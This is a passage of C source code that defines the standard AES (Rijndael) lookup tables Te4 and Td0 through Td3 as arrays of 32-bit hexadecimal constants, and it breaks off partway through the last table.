0x4747c98eU, 0xf0f00bfbU, 0xadadec41U, 0xd4d467b3U, 0xa2a2fd5fU, 0xafafea45U, 0x9c9cbf23U, 0xa4a4f753U, 0x727296e4U, 0xc0c05b9bU, 0xb7b7c275U, 0xfdfd1ce1U, 0x9393ae3dU, 0x26266a4cU, 0x36365a6cU, 0x3f3f417eU, 0xf7f702f5U, 0xcccc4f83U, 0x34345c68U, 0xa5a5f451U, 0xe5e534d1U, 0xf1f108f9U, 0x717193e2U, 0xd8d873abU, 0x31315362U, 0x15153f2aU, 0x04040c08U, 0xc7c75295U, 0x23236546U, 0xc3c35e9dU, 0x18182830U, 0x9696a137U, 0x05050f0aU, 0x9a9ab52fU, 0x0707090eU, 0x12123624U, 0x80809b1bU, 0xe2e23ddfU, 0xebeb26cdU, 0x2727694eU, 0xb2b2cd7fU, 0x75759feaU, 0x09091b12U, 0x83839e1dU, 0x2c2c7458U, 0x1a1a2e34U, 0x1b1b2d36U, 0x6e6eb2dcU, 0x5a5aeeb4U, 0xa0a0fb5bU, 0x5252f6a4U, 0x3b3b4d76U, 0xd6d661b7U, 0xb3b3ce7dU, 0x29297b52U, 0xe3e33eddU, 0x2f2f715eU, 0x84849713U, 0x5353f5a6U, 0xd1d168b9U, 0x00000000U, 0xeded2cc1U, 0x20206040U, 0xfcfc1fe3U, 0xb1b1c879U, 0x5b5bedb6U, 0x6a6abed4U, 0xcbcb468dU, 0xbebed967U, 0x39394b72U, 0x4a4ade94U, 0x4c4cd498U, 0x5858e8b0U, 0xcfcf4a85U, 0xd0d06bbbU, 0xefef2ac5U, 0xaaaae54fU, 0xfbfb16edU, 0x4343c586U, 0x4d4dd79aU, 0x33335566U, 0x85859411U, 0x4545cf8aU, 0xf9f910e9U, 0x02020604U, 0x7f7f81feU, 0x5050f0a0U, 0x3c3c4478U, 0x9f9fba25U, 0xa8a8e34bU, 0x5151f3a2U, 0xa3a3fe5dU, 0x4040c080U, 0x8f8f8a05U, 0x9292ad3fU, 0x9d9dbc21U, 0x38384870U, 0xf5f504f1U, 0xbcbcdf63U, 0xb6b6c177U, 0xdada75afU, 0x21216342U, 0x10103020U, 0xffff1ae5U, 0xf3f30efdU, 0xd2d26dbfU, 0xcdcd4c81U, 0x0c0c1418U, 0x13133526U, 0xecec2fc3U, 0x5f5fe1beU, 0x9797a235U, 0x4444cc88U, 0x1717392eU, 0xc4c45793U, 0xa7a7f255U, 0x7e7e82fcU, 0x3d3d477aU, 0x6464acc8U, 0x5d5de7baU, 0x19192b32U, 0x737395e6U, 0x6060a0c0U, 0x81819819U, 0x4f4fd19eU, 0xdcdc7fa3U, 0x22226644U, 0x2a2a7e54U, 0x9090ab3bU, 0x8888830bU, 0x4646ca8cU, 0xeeee29c7U, 0xb8b8d36bU, 0x14143c28U, 0xdede79a7U, 0x5e5ee2bcU, 0x0b0b1d16U, 0xdbdb76adU, 0xe0e03bdbU, 0x32325664U, 0x3a3a4e74U, 0x0a0a1e14U, 0x4949db92U, 0x06060a0cU, 0x24246c48U, 0x5c5ce4b8U, 0xc2c25d9fU, 0xd3d36ebdU, 0xacacef43U, 0x6262a6c4U, 0x9191a839U, 0x9595a431U, 0xe4e437d3U, 0x79798bf2U, 0xe7e732d5U, 0xc8c8438bU, 0x3737596eU, 0x6d6db7daU, 0x8d8d8c01U, 0xd5d564b1U, 0x4e4ed29cU, 0xa9a9e049U, 0x6c6cb4d8U, 0x5656faacU, 0xf4f407f3U, 0xeaea25cfU, 0x6565afcaU, 0x7a7a8ef4U, 0xaeaee947U, 0x08081810U, 0xbabad56fU, 0x787888f0U, 0x25256f4aU, 0x2e2e725cU, 0x1c1c2438U, 0xa6a6f157U, 0xb4b4c773U, 0xc6c65197U, 0xe8e823cbU, 0xdddd7ca1U, 0x74749ce8U, 0x1f1f213eU, 0x4b4bdd96U, 0xbdbddc61U, 0x8b8b860dU, 0x8a8a850fU, 0x707090e0U, 0x3e3e427cU, 0xb5b5c471U, 0x6666aaccU, 0x4848d890U, 0x03030506U, 0xf6f601f7U, 0x0e0e121cU, 0x6161a3c2U, 0x35355f6aU, 0x5757f9aeU, 0xb9b9d069U, 0x86869117U, 0xc1c15899U, 0x1d1d273aU, 0x9e9eb927U, 0xe1e138d9U, 0xf8f813ebU, 0x9898b32bU, 0x11113322U, 0x6969bbd2U, 0xd9d970a9U, 0x8e8e8907U, 0x9494a733U, 0x9b9bb62dU, 0x1e1e223cU, 0x87879215U, 0xe9e920c9U, 0xcece4987U, 0x5555ffaaU, 0x28287850U, 0xdfdf7aa5U, 0x8c8c8f03U, 0xa1a1f859U, 0x89898009U, 0x0d0d171aU, 0xbfbfda65U, 0xe6e631d7U, 0x4242c684U, 0x6868b8d0U, 0x4141c382U, 0x9999b029U, 0x2d2d775aU, 0x0f0f111eU, 0xb0b0cb7bU, 0x5454fca8U, 0xbbbbd66dU, 0x16163a2cU, }; static const uint32_t Te4[256] = { 0x63636363U, 0x7c7c7c7cU, 0x77777777U, 0x7b7b7b7bU, 0xf2f2f2f2U, 0x6b6b6b6bU, 0x6f6f6f6fU, 0xc5c5c5c5U, 0x30303030U, 0x01010101U, 0x67676767U, 0x2b2b2b2bU, 0xfefefefeU, 0xd7d7d7d7U, 0xababababU, 0x76767676U, 0xcacacacaU, 0x82828282U, 0xc9c9c9c9U, 0x7d7d7d7dU, 0xfafafafaU, 0x59595959U, 0x47474747U, 0xf0f0f0f0U, 0xadadadadU, 0xd4d4d4d4U, 0xa2a2a2a2U, 0xafafafafU, 0x9c9c9c9cU, 0xa4a4a4a4U, 0x72727272U, 0xc0c0c0c0U, 0xb7b7b7b7U, 0xfdfdfdfdU, 0x93939393U, 0x26262626U, 0x36363636U, 0x3f3f3f3fU, 0xf7f7f7f7U, 0xccccccccU, 0x34343434U, 0xa5a5a5a5U, 0xe5e5e5e5U, 0xf1f1f1f1U, 0x71717171U, 0xd8d8d8d8U, 0x31313131U, 0x15151515U, 0x04040404U, 0xc7c7c7c7U, 0x23232323U, 0xc3c3c3c3U, 0x18181818U, 0x96969696U, 0x05050505U, 0x9a9a9a9aU, 0x07070707U, 0x12121212U, 0x80808080U, 0xe2e2e2e2U, 0xebebebebU, 0x27272727U, 0xb2b2b2b2U, 0x75757575U, 0x09090909U, 0x83838383U, 0x2c2c2c2cU, 0x1a1a1a1aU, 0x1b1b1b1bU, 0x6e6e6e6eU, 0x5a5a5a5aU, 0xa0a0a0a0U, 0x52525252U, 0x3b3b3b3bU, 0xd6d6d6d6U, 0xb3b3b3b3U, 0x29292929U, 0xe3e3e3e3U, 0x2f2f2f2fU, 0x84848484U, 0x53535353U, 0xd1d1d1d1U, 0x00000000U, 0xededededU, 0x20202020U, 0xfcfcfcfcU, 0xb1b1b1b1U, 0x5b5b5b5bU, 0x6a6a6a6aU, 0xcbcbcbcbU, 0xbebebebeU, 0x39393939U, 0x4a4a4a4aU, 0x4c4c4c4cU, 0x58585858U, 0xcfcfcfcfU, 0xd0d0d0d0U, 0xefefefefU, 0xaaaaaaaaU, 0xfbfbfbfbU, 0x43434343U, 0x4d4d4d4dU, 0x33333333U, 0x85858585U, 0x45454545U, 0xf9f9f9f9U, 0x02020202U, 0x7f7f7f7fU, 0x50505050U, 0x3c3c3c3cU, 0x9f9f9f9fU, 0xa8a8a8a8U, 0x51515151U, 0xa3a3a3a3U, 0x40404040U, 0x8f8f8f8fU, 0x92929292U, 0x9d9d9d9dU, 0x38383838U, 0xf5f5f5f5U, 0xbcbcbcbcU, 0xb6b6b6b6U, 0xdadadadaU, 0x21212121U, 0x10101010U, 0xffffffffU, 0xf3f3f3f3U, 0xd2d2d2d2U, 0xcdcdcdcdU, 0x0c0c0c0cU, 0x13131313U, 0xececececU, 0x5f5f5f5fU, 0x97979797U, 0x44444444U, 0x17171717U, 0xc4c4c4c4U, 0xa7a7a7a7U, 0x7e7e7e7eU, 0x3d3d3d3dU, 0x64646464U, 0x5d5d5d5dU, 0x19191919U, 0x73737373U, 0x60606060U, 0x81818181U, 0x4f4f4f4fU, 0xdcdcdcdcU, 0x22222222U, 0x2a2a2a2aU, 0x90909090U, 0x88888888U, 0x46464646U, 0xeeeeeeeeU, 0xb8b8b8b8U, 0x14141414U, 0xdedededeU, 0x5e5e5e5eU, 0x0b0b0b0bU, 0xdbdbdbdbU, 0xe0e0e0e0U, 0x32323232U, 0x3a3a3a3aU, 0x0a0a0a0aU, 0x49494949U, 0x06060606U, 0x24242424U, 0x5c5c5c5cU, 0xc2c2c2c2U, 0xd3d3d3d3U, 0xacacacacU, 0x62626262U, 0x91919191U, 0x95959595U, 0xe4e4e4e4U, 0x79797979U, 0xe7e7e7e7U, 0xc8c8c8c8U, 0x37373737U, 0x6d6d6d6dU, 0x8d8d8d8dU, 0xd5d5d5d5U, 0x4e4e4e4eU, 0xa9a9a9a9U, 0x6c6c6c6cU, 0x56565656U, 0xf4f4f4f4U, 0xeaeaeaeaU, 0x65656565U, 0x7a7a7a7aU, 0xaeaeaeaeU, 0x08080808U, 0xbabababaU, 0x78787878U, 0x25252525U, 0x2e2e2e2eU, 0x1c1c1c1cU, 0xa6a6a6a6U, 0xb4b4b4b4U, 0xc6c6c6c6U, 0xe8e8e8e8U, 0xddddddddU, 0x74747474U, 0x1f1f1f1fU, 0x4b4b4b4bU, 0xbdbdbdbdU, 0x8b8b8b8bU, 0x8a8a8a8aU, 0x70707070U, 0x3e3e3e3eU, 0xb5b5b5b5U, 0x66666666U, 0x48484848U, 0x03030303U, 0xf6f6f6f6U, 0x0e0e0e0eU, 0x61616161U, 0x35353535U, 0x57575757U, 0xb9b9b9b9U, 0x86868686U, 0xc1c1c1c1U, 0x1d1d1d1dU, 0x9e9e9e9eU, 0xe1e1e1e1U, 0xf8f8f8f8U, 0x98989898U, 0x11111111U, 0x69696969U, 0xd9d9d9d9U, 0x8e8e8e8eU, 0x94949494U, 0x9b9b9b9bU, 0x1e1e1e1eU, 0x87878787U, 0xe9e9e9e9U, 0xcecececeU, 0x55555555U, 0x28282828U, 0xdfdfdfdfU, 0x8c8c8c8cU, 0xa1a1a1a1U, 0x89898989U, 0x0d0d0d0dU, 0xbfbfbfbfU, 0xe6e6e6e6U, 0x42424242U, 0x68686868U, 0x41414141U, 0x99999999U, 0x2d2d2d2dU, 0x0f0f0f0fU, 0xb0b0b0b0U, 0x54545454U, 0xbbbbbbbbU, 0x16161616U, }; static const uint32_t Td0[256] = { 0x51f4a750U, 0x7e416553U, 0x1a17a4c3U, 0x3a275e96U, 0x3bab6bcbU, 0x1f9d45f1U, 0xacfa58abU, 0x4be30393U, 0x2030fa55U, 0xad766df6U, 0x88cc7691U, 0xf5024c25U, 0x4fe5d7fcU, 0xc52acbd7U, 0x26354480U, 0xb562a38fU, 0xdeb15a49U, 0x25ba1b67U, 0x45ea0e98U, 0x5dfec0e1U, 0xc32f7502U, 0x814cf012U, 0x8d4697a3U, 0x6bd3f9c6U, 0x038f5fe7U, 0x15929c95U, 0xbf6d7aebU, 0x955259daU, 0xd4be832dU, 0x587421d3U, 0x49e06929U, 0x8ec9c844U, 0x75c2896aU, 0xf48e7978U, 0x99583e6bU, 0x27b971ddU, 0xbee14fb6U, 0xf088ad17U, 0xc920ac66U, 0x7dce3ab4U, 0x63df4a18U, 0xe51a3182U, 0x97513360U, 0x62537f45U, 0xb16477e0U, 0xbb6bae84U, 0xfe81a01cU, 0xf9082b94U, 0x70486858U, 0x8f45fd19U, 0x94de6c87U, 0x527bf8b7U, 0xab73d323U, 0x724b02e2U, 0xe31f8f57U, 0x6655ab2aU, 0xb2eb2807U, 0x2fb5c203U, 0x86c57b9aU, 0xd33708a5U, 0x302887f2U, 0x23bfa5b2U, 0x02036abaU, 0xed16825cU, 0x8acf1c2bU, 0xa779b492U, 0xf307f2f0U, 0x4e69e2a1U, 0x65daf4cdU, 0x0605bed5U, 0xd134621fU, 0xc4a6fe8aU, 0x342e539dU, 0xa2f355a0U, 0x058ae132U, 0xa4f6eb75U, 0x0b83ec39U, 0x4060efaaU, 0x5e719f06U, 0xbd6e1051U, 0x3e218af9U, 0x96dd063dU, 0xdd3e05aeU, 0x4de6bd46U, 0x91548db5U, 0x71c45d05U, 0x0406d46fU, 0x605015ffU, 0x1998fb24U, 0xd6bde997U, 0x894043ccU, 0x67d99e77U, 0xb0e842bdU, 0x07898b88U, 0xe7195b38U, 0x79c8eedbU, 0xa17c0a47U, 0x7c420fe9U, 0xf8841ec9U, 0x00000000U, 0x09808683U, 0x322bed48U, 0x1e1170acU, 0x6c5a724eU, 0xfd0efffbU, 0x0f853856U, 0x3daed51eU, 0x362d3927U, 0x0a0fd964U, 0x685ca621U, 0x9b5b54d1U, 0x24362e3aU, 0x0c0a67b1U, 0x9357e70fU, 0xb4ee96d2U, 0x1b9b919eU, 0x80c0c54fU, 0x61dc20a2U, 0x5a774b69U, 0x1c121a16U, 0xe293ba0aU, 0xc0a02ae5U, 0x3c22e043U, 0x121b171dU, 0x0e090d0bU, 0xf28bc7adU, 0x2db6a8b9U, 0x141ea9c8U, 0x57f11985U, 0xaf75074cU, 0xee99ddbbU, 0xa37f60fdU, 0xf701269fU, 0x5c72f5bcU, 0x44663bc5U, 0x5bfb7e34U, 0x8b432976U, 0xcb23c6dcU, 0xb6edfc68U, 0xb8e4f163U, 0xd731dccaU, 0x42638510U, 0x13972240U, 0x84c61120U, 0x854a247dU, 0xd2bb3df8U, 0xaef93211U, 0xc729a16dU, 0x1d9e2f4bU, 0xdcb230f3U, 0x0d8652ecU, 0x77c1e3d0U, 0x2bb3166cU, 0xa970b999U, 0x119448faU, 0x47e96422U, 0xa8fc8cc4U, 0xa0f03f1aU, 0x567d2cd8U, 0x223390efU, 0x87494ec7U, 0xd938d1c1U, 0x8ccaa2feU, 0x98d40b36U, 0xa6f581cfU, 0xa57ade28U, 0xdab78e26U, 0x3fadbfa4U, 0x2c3a9de4U, 0x5078920dU, 0x6a5fcc9bU, 0x547e4662U, 0xf68d13c2U, 0x90d8b8e8U, 0x2e39f75eU, 0x82c3aff5U, 0x9f5d80beU, 0x69d0937cU, 0x6fd52da9U, 0xcf2512b3U, 0xc8ac993bU, 0x10187da7U, 0xe89c636eU, 0xdb3bbb7bU, 0xcd267809U, 0x6e5918f4U, 0xec9ab701U, 0x834f9aa8U, 0xe6956e65U, 0xaaffe67eU, 0x21bccf08U, 0xef15e8e6U, 0xbae79bd9U, 0x4a6f36ceU, 0xea9f09d4U, 0x29b07cd6U, 0x31a4b2afU, 0x2a3f2331U, 0xc6a59430U, 0x35a266c0U, 0x744ebc37U, 0xfc82caa6U, 0xe090d0b0U, 0x33a7d815U, 0xf104984aU, 0x41ecdaf7U, 0x7fcd500eU, 0x1791f62fU, 0x764dd68dU, 0x43efb04dU, 0xccaa4d54U, 0xe49604dfU, 0x9ed1b5e3U, 0x4c6a881bU, 0xc12c1fb8U, 0x4665517fU, 0x9d5eea04U, 0x018c355dU, 0xfa877473U, 0xfb0b412eU, 0xb3671d5aU, 0x92dbd252U, 0xe9105633U, 0x6dd64713U, 0x9ad7618cU, 0x37a10c7aU, 0x59f8148eU, 0xeb133c89U, 0xcea927eeU, 0xb761c935U, 0xe11ce5edU, 0x7a47b13cU, 0x9cd2df59U, 0x55f2733fU, 0x1814ce79U, 0x73c737bfU, 0x53f7cdeaU, 0x5ffdaa5bU, 0xdf3d6f14U, 0x7844db86U, 0xcaaff381U, 0xb968c43eU, 0x3824342cU, 0xc2a3405fU, 0x161dc372U, 0xbce2250cU, 0x283c498bU, 0xff0d9541U, 0x39a80171U, 0x080cb3deU, 0xd8b4e49cU, 0x6456c190U, 0x7bcb8461U, 0xd532b670U, 0x486c5c74U, 0xd0b85742U, }; static const uint32_t Td1[256] = { 0x5051f4a7U, 0x537e4165U, 0xc31a17a4U, 0x963a275eU, 0xcb3bab6bU, 0xf11f9d45U, 0xabacfa58U, 0x934be303U, 0x552030faU, 0xf6ad766dU, 0x9188cc76U, 0x25f5024cU, 0xfc4fe5d7U, 0xd7c52acbU, 0x80263544U, 0x8fb562a3U, 0x49deb15aU, 0x6725ba1bU, 0x9845ea0eU, 0xe15dfec0U, 0x02c32f75U, 0x12814cf0U, 0xa38d4697U, 0xc66bd3f9U, 0xe7038f5fU, 0x9515929cU, 0xebbf6d7aU, 0xda955259U, 0x2dd4be83U, 0xd3587421U, 0x2949e069U, 0x448ec9c8U, 0x6a75c289U, 0x78f48e79U, 0x6b99583eU, 0xdd27b971U, 0xb6bee14fU, 0x17f088adU, 0x66c920acU, 0xb47dce3aU, 0x1863df4aU, 0x82e51a31U, 0x60975133U, 0x4562537fU, 0xe0b16477U, 0x84bb6baeU, 0x1cfe81a0U, 0x94f9082bU, 0x58704868U, 0x198f45fdU, 0x8794de6cU, 0xb7527bf8U, 0x23ab73d3U, 0xe2724b02U, 0x57e31f8fU, 0x2a6655abU, 0x07b2eb28U, 0x032fb5c2U, 0x9a86c57bU, 0xa5d33708U, 0xf2302887U, 0xb223bfa5U, 0xba02036aU, 0x5ced1682U, 0x2b8acf1cU, 0x92a779b4U, 0xf0f307f2U, 0xa14e69e2U, 0xcd65daf4U, 0xd50605beU, 0x1fd13462U, 0x8ac4a6feU, 0x9d342e53U, 0xa0a2f355U, 0x32058ae1U, 0x75a4f6ebU, 0x390b83ecU, 0xaa4060efU, 0x065e719fU, 0x51bd6e10U, 0xf93e218aU, 0x3d96dd06U, 0xaedd3e05U, 0x464de6bdU, 0xb591548dU, 0x0571c45dU, 0x6f0406d4U, 0xff605015U, 0x241998fbU, 0x97d6bde9U, 0xcc894043U, 0x7767d99eU, 0xbdb0e842U, 0x8807898bU, 0x38e7195bU, 0xdb79c8eeU, 0x47a17c0aU, 0xe97c420fU, 0xc9f8841eU, 0x00000000U, 0x83098086U, 0x48322bedU, 0xac1e1170U, 0x4e6c5a72U, 0xfbfd0effU, 0x560f8538U, 0x1e3daed5U, 0x27362d39U, 0x640a0fd9U, 0x21685ca6U, 0xd19b5b54U, 0x3a24362eU, 0xb10c0a67U, 0x0f9357e7U, 0xd2b4ee96U, 0x9e1b9b91U, 0x4f80c0c5U, 0xa261dc20U, 0x695a774bU, 0x161c121aU, 0x0ae293baU, 0xe5c0a02aU, 0x433c22e0U, 0x1d121b17U, 0x0b0e090dU, 0xadf28bc7U, 0xb92db6a8U, 0xc8141ea9U, 0x8557f119U, 0x4caf7507U, 0xbbee99ddU, 0xfda37f60U, 0x9ff70126U, 0xbc5c72f5U, 0xc544663bU, 0x345bfb7eU, 0x768b4329U, 0xdccb23c6U, 0x68b6edfcU, 0x63b8e4f1U, 0xcad731dcU, 0x10426385U, 0x40139722U, 0x2084c611U, 0x7d854a24U, 0xf8d2bb3dU, 0x11aef932U, 0x6dc729a1U, 0x4b1d9e2fU, 0xf3dcb230U, 0xec0d8652U, 0xd077c1e3U, 0x6c2bb316U, 0x99a970b9U, 0xfa119448U, 0x2247e964U, 0xc4a8fc8cU, 0x1aa0f03fU, 0xd8567d2cU, 0xef223390U, 0xc787494eU, 0xc1d938d1U, 0xfe8ccaa2U, 0x3698d40bU, 0xcfa6f581U, 0x28a57adeU, 0x26dab78eU, 0xa43fadbfU, 0xe42c3a9dU, 0x0d507892U, 0x9b6a5fccU, 0x62547e46U, 0xc2f68d13U, 0xe890d8b8U, 0x5e2e39f7U, 0xf582c3afU, 0xbe9f5d80U, 0x7c69d093U, 0xa96fd52dU, 0xb3cf2512U, 0x3bc8ac99U, 0xa710187dU, 0x6ee89c63U, 0x7bdb3bbbU, 0x09cd2678U, 0xf46e5918U, 0x01ec9ab7U, 0xa8834f9aU, 0x65e6956eU, 0x7eaaffe6U, 0x0821bccfU, 0xe6ef15e8U, 0xd9bae79bU, 0xce4a6f36U, 0xd4ea9f09U, 0xd629b07cU, 0xaf31a4b2U, 0x312a3f23U, 0x30c6a594U, 0xc035a266U, 0x37744ebcU, 0xa6fc82caU, 0xb0e090d0U, 0x1533a7d8U, 0x4af10498U, 0xf741ecdaU, 0x0e7fcd50U, 0x2f1791f6U, 0x8d764dd6U, 0x4d43efb0U, 0x54ccaa4dU, 0xdfe49604U, 0xe39ed1b5U, 0x1b4c6a88U, 0xb8c12c1fU, 0x7f466551U, 0x049d5eeaU, 0x5d018c35U, 0x73fa8774U, 0x2efb0b41U, 0x5ab3671dU, 0x5292dbd2U, 0x33e91056U, 0x136dd647U, 0x8c9ad761U, 0x7a37a10cU, 0x8e59f814U, 0x89eb133cU, 0xeecea927U, 0x35b761c9U, 0xede11ce5U, 0x3c7a47b1U, 0x599cd2dfU, 0x3f55f273U, 0x791814ceU, 0xbf73c737U, 0xea53f7cdU, 0x5b5ffdaaU, 0x14df3d6fU, 0x867844dbU, 0x81caaff3U, 0x3eb968c4U, 0x2c382434U, 0x5fc2a340U, 0x72161dc3U, 0x0cbce225U, 0x8b283c49U, 0x41ff0d95U, 0x7139a801U, 0xde080cb3U, 0x9cd8b4e4U, 0x906456c1U, 0x617bcb84U, 0x70d532b6U, 0x74486c5cU, 0x42d0b857U, }; static const uint32_t Td2[256] = { 0xa75051f4U, 0x65537e41U, 0xa4c31a17U, 0x5e963a27U, 0x6bcb3babU, 0x45f11f9dU, 0x58abacfaU, 0x03934be3U, 0xfa552030U, 0x6df6ad76U, 0x769188ccU, 0x4c25f502U, 0xd7fc4fe5U, 0xcbd7c52aU, 0x44802635U, 0xa38fb562U, 0x5a49deb1U, 0x1b6725baU, 0x0e9845eaU, 0xc0e15dfeU, 0x7502c32fU, 0xf012814cU, 0x97a38d46U, 0xf9c66bd3U, 0x5fe7038fU, 0x9c951592U, 0x7aebbf6dU, 0x59da9552U, 0x832dd4beU, 0x21d35874U, 0x692949e0U, 0xc8448ec9U, 0x896a75c2U, 0x7978f48eU, 0x3e6b9958U, 0x71dd27b9U, 0x4fb6bee1U, 0xad17f088U, 0xac66c920U, 0x3ab47dceU, 0x4a1863dfU, 0x3182e51aU, 0x33609751U, 0x7f456253U, 0x77e0b164U, 0xae84bb6bU, 0xa01cfe81U, 0x2b94f908U, 0x68587048U, 0xfd198f45U, 0x6c8794deU, 0xf8b7527bU, 0xd323ab73U, 0x02e2724bU, 0x8f57e31fU, 0xab2a6655U, 0x2807b2ebU, 0xc2032fb5U, 0x7b9a86c5U, 0x08a5d337U, 0x87f23028U, 0xa5b223bfU, 0x6aba0203U, 0x825ced16U, 0x1c2b8acfU, 0xb492a779U, 0xf2f0f307U, 0xe2a14e69U, 0xf4cd65daU, 0xbed50605U, 0x621fd134U, 0xfe8ac4a6U, 0x539d342eU, 0x55a0a2f3U, 0xe132058aU, 0xeb75a4f6U, 0xec390b83U, 0xefaa4060U, 0x9f065e71U, 0x1051bd6eU, 0x8af93e21U, 0x063d96ddU, 0x05aedd3eU, 0xbd464de6U, 0x8db59154U, 0x5d0571c4U, 0xd46f0406U, 0x15ff6050U, 0xfb241998U, 0xe997d6bdU, 0x43cc8940U, 0x9e7767d9U, 0x42bdb0e8U, 0x8b880789U, 0x5b38e719U, 0xeedb79c8U, 0x0a47a17cU, 0x0fe97c42U, 0x1ec9f884U, 0x00000000U, 0x86830980U, 0xed48322bU, 0x70ac1e11U, 0x724e6c5aU, 0xfffbfd0eU, 0x38560f85U, 0xd51e3daeU, 0x3927362dU, 0xd9640a0fU, 0xa621685cU, 0x54d19b5bU, 0x2e3a2436U, 0x67b10c0aU, 0xe70f9357U, 0x96d2b4eeU, 0x919e1b9bU, 0xc54f80c0U, 0x20a261dcU, 0x4b695a77U, 0x1a161c12U, 0xba0ae293U, 0x2ae5c0a0U, 0xe0433c22U, 0x171d121bU, 0x0d0b0e09U, 0xc7adf28bU, 0xa8b92db6U, 0xa9c8141eU, 0x198557f1U, 0x074caf75U, 0xddbbee99U, 0x60fda37fU, 0x269ff701U, 0xf5bc5c72U, 0x3bc54466U, 0x7e345bfbU, 0x29768b43U, 0xc6dccb23U, 0xfc68b6edU, 0xf163b8e4U, 0xdccad731U, 0x85104263U, 0x22401397U, 0x112084c6U, 0x247d854aU, 0x3df8d2bbU, 0x3211aef9U, 0xa16dc729U, 0x2f4b1d9eU, 0x30f3dcb2U, 0x52ec0d86U, 0xe3d077c1U, 0x166c2bb3U, 0xb999a970U, 0x48fa1194U, 0x642247e9U, 0x8cc4a8fcU, 0x3f1aa0f0U, 0x2cd8567dU, 0x90ef2233U, 0x4ec78749U, 0xd1c1d938U, 0xa2fe8ccaU, 0x0b3698d4U, 0x81cfa6f5U, 0xde28a57aU, 0x8e26dab7U, 0xbfa43fadU, 0x9de42c3aU, 0x920d5078U, 0xcc9b6a5fU, 0x4662547eU, 0x13c2f68dU, 0xb8e890d8U, 0xf75e2e39U, 0xaff582c3U, 0x80be9f5dU, 0x937c69d0U, 0x2da96fd5U, 0x12b3cf25U, 0x993bc8acU, 0x7da71018U, 0x636ee89cU, 0xbb7bdb3bU, 0x7809cd26U, 0x18f46e59U, 0xb701ec9aU, 0x9aa8834fU, 0x6e65e695U, 0xe67eaaffU, 0xcf0821bcU, 0xe8e6ef15U, 0x9bd9bae7U, 0x36ce4a6fU, 0x09d4ea9fU, 0x7cd629b0U, 0xb2af31a4U, 0x23312a3fU, 0x9430c6a5U, 0x66c035a2U, 0xbc37744eU, 0xcaa6fc82U, 0xd0b0e090U, 0xd81533a7U, 0x984af104U, 0xdaf741ecU, 0x500e7fcdU, 0xf62f1791U, 0xd68d764dU, 0xb04d43efU, 0x4d54ccaaU, 0x04dfe496U, 0xb5e39ed1U, 0x881b4c6aU, 0x1fb8c12cU, 0x517f4665U, 0xea049d5eU, 0x355d018cU, 0x7473fa87U, 0x412efb0bU, 0x1d5ab367U, 0xd25292dbU, 0x5633e910U, 0x47136dd6U, 0x618c9ad7U, 0x0c7a37a1U, 0x148e59f8U, 0x3c89eb13U, 0x27eecea9U, 0xc935b761U, 0xe5ede11cU, 0xb13c7a47U, 0xdf599cd2U, 0x733f55f2U, 0xce791814U, 0x37bf73c7U, 0xcdea53f7U, 0xaa5b5ffdU, 0x6f14df3dU, 0xdb867844U, 0xf381caafU, 0xc43eb968U, 0x342c3824U, 0x405fc2a3U, 0xc372161dU, 0x250cbce2U, 0x498b283cU, 0x9541ff0dU, 0x017139a8U, 0xb3de080cU, 0xe49cd8b4U, 0xc1906456U, 0x84617bcbU, 0xb670d532U, 0x5c74486cU, 0x5742d0b8U, }; static const uint32_t Td3[256] = { 0xf4a75051U, 0x4165537eU, 0x17a4c31aU, 0x275e963aU, 0xab6bcb3bU, 0x9d45f11fU, 0xfa58abacU, 0xe303934bU, 0x30fa5520U, 0x766df6adU, 0xcc769188U, 0x024c25f5U, 0xe5d7fc4fU, 0x2acbd7c5U, 0x35448026U, 0x62a38fb5U, 0xb15a49deU, 0xba1b6725U, 0xea0e9845U, 0xfec0e15dU, 0x2f7502c3U, 0x4cf01281U, 0x4697a38dU, 0xd3f9c66bU, 0x8f5fe703U, 0x929c9515U, 0x6d7aebbfU, 0x5259da95U, 0xbe832dd4U, 0x7421d358U, 0xe0692949U, 0xc9c8448eU, 0xc2896a75U, 0x8e7978f4U, 0x583e6b99U, 0xb971dd27U, 0xe14fb6beU, 0x88ad17f0U, 0x20ac66c9U, 0xce3ab47dU, 0xdf4a1863U, 0x1a3182e5U, 0x51336097U, 0x537f4562U, 0x6477e0b1U, 0x6bae84bbU, 0x81a01cfeU, 0x082b94f9U, 0x48685870U, 0x45fd198fU, 0xde6c8794U, 0x7bf8b752U, 0x73d323abU, 0x4b02e272U, 0x1f8f57e3U, 0x55ab2a66U, 0xeb2807b2U, 0xb5c2032fU, 0xc57b9a86U, 0x3708a5d3U, 0x2887f230U, 0xbfa5b223U, 0x036aba02U, 0x16825cedU, 0xcf1c2b8aU, 0x79b492a7U, 0x07f2f0f3U, 0x69e2a14eU, 0xdaf4cd65U, 0x05bed506U, 0x34621fd1U, 0xa6fe8ac4U, 0x2e539d34U, 0xf355a0a2U, 0x8ae13205U, 0xf6eb75a4U, 0x83ec390bU, 0x60efaa40U, 0x719f065eU, 0x6e1051bdU, 0x218af93eU, 0xdd063d96U, 0x3e05aeddU, 0xe6bd464dU, 0x548db591U, 0xc45d0571U, 0x06d46f04U, 0x5015ff60U, 0x98fb2419U, 0xbde997d6U, 0x4043cc89U, 0xd99e7767U, 0xe842bdb0U, 0x898b8807U, 0x195b38e7U, 0xc8eedb79U, 0x7c0a47a1U, 0x420fe97cU, 0x841ec9f8U, 0x00000000U, 0x80868309U, 0x2bed4832U, 0x1170ac1eU, 0x5a724e6cU, 0x0efffbfdU, 0x8538560fU, 0xaed51e3dU, 0x2d392736U, 0x0fd9640aU, 0x5ca62168U, 0x5b54d19bU, 0x362e3a24U, 0x0a67b10cU, 0x57e70f93U, 0xee96d2b4U, 0x9b919e1bU, 0xc0c54f80U, 0xdc20a261U, 0x774b695aU, 0x121a161cU, 0x93ba0ae2U, 0xa02ae5c0U, 0x22e0433cU, 0x1b171d12U, 0x090d0b0eU, 0x8bc7adf2U, 0xb6a8b92dU, 0x1ea9c814U, 0xf1198557U, 0x75074cafU, 0x99ddbbeeU, 0x7f60fda3U, 0x01269ff7U, 0x72f5bc5cU, 0x663bc544U, 0xfb7e345bU, 0x4329768bU, 0x23c6dccbU, 0xedfc68b6U, 0xe4f163b8U, 0x31dccad7U, 0x63851042U, 0x97224013U, 0xc6112084U, 0x4a247d85U, 0xbb3df8d2U, 0xf93211aeU, 0x29a16dc7U, 0x9e2f4b1dU, 0xb230f3dcU, 0x8652ec0dU, 0xc1e3d077U, 0xb3166c2bU, 0x70b999a9U, 0x9448fa11U, 0xe9642247U, 0xfc8cc4a8U, 0xf03f1aa0U, 0x7d2cd856U, 0x3390ef22U, 0x494ec787U, 0x38d1c1d9U, 0xcaa2fe8cU, 0xd40b3698U, 